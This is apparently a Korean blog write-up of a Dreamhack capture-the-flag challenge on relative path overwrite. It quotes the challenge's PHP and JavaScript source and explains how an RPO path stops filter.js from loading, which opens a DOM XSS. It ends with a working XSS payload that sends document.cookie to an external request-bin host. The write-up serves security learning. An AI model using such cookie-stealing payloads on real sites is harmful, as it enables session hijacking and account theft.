본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] Relative Path Overwrite write up

 

 

index.php


<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div> 
</body>
</html>

 

기본적으로 page의 인자로 오는 값에 따라 페이지를 렌더링 하고 있다.

 

index.php에서는 '..', ':', '/'를 필터링 하고 있기 때문에 path Traversal로 인한 LFI 취약점은 일어나지 않는다.

 

 

 

vuln.php


<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

 

filter.js를 로드하고 있다. filter.js에서는 'script', 'on', 'frame', 'object' 키워드 필터링을 통해 XSS 공격을 막고 있다.

 

vuln.php에서는 DOM객체로 html에 접근하여 param이라는 ID를 갖는 태그에 param에 입력받는 값을 html로 추가하고 있다.

 

 

report.php


<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

 

사용자의 입력값에 해당하는 경로를 bot이 방문하도록한다. 이때 base64 인코딩 되어 젇달되기 때문에 command injection이 발생하지 않는다.

 

 

 

취약점 분석


vuln.php를 보면 filter.js를 로드하고 있으나 절대 경로가 아닌 상대 경로로 로드하고 있다. 

 

 

따라서 RPO를 이용하여 브라우저와 서버가 인식하는 경로를 다르게하여 로드 실패를 유도할 수 있다.

 

👆 filter.js 로드 실패한 모습이다.

 

이 입력값이 html 태그 내에 삽입되기 때문에 일반적인 XSS가 아닌 DOM XSS이다. 따라서 html태그를 이용해서 script 태그를 실행시켜야한다. 

 

 

exploit


외부서버는 dreamhack request bin을 이용했다.

 

/index.php/?page=vuln&param=<img src=a onerror=location.href="https://ijtcilo.request.dreamhack.games/"%2bdocument.cookie>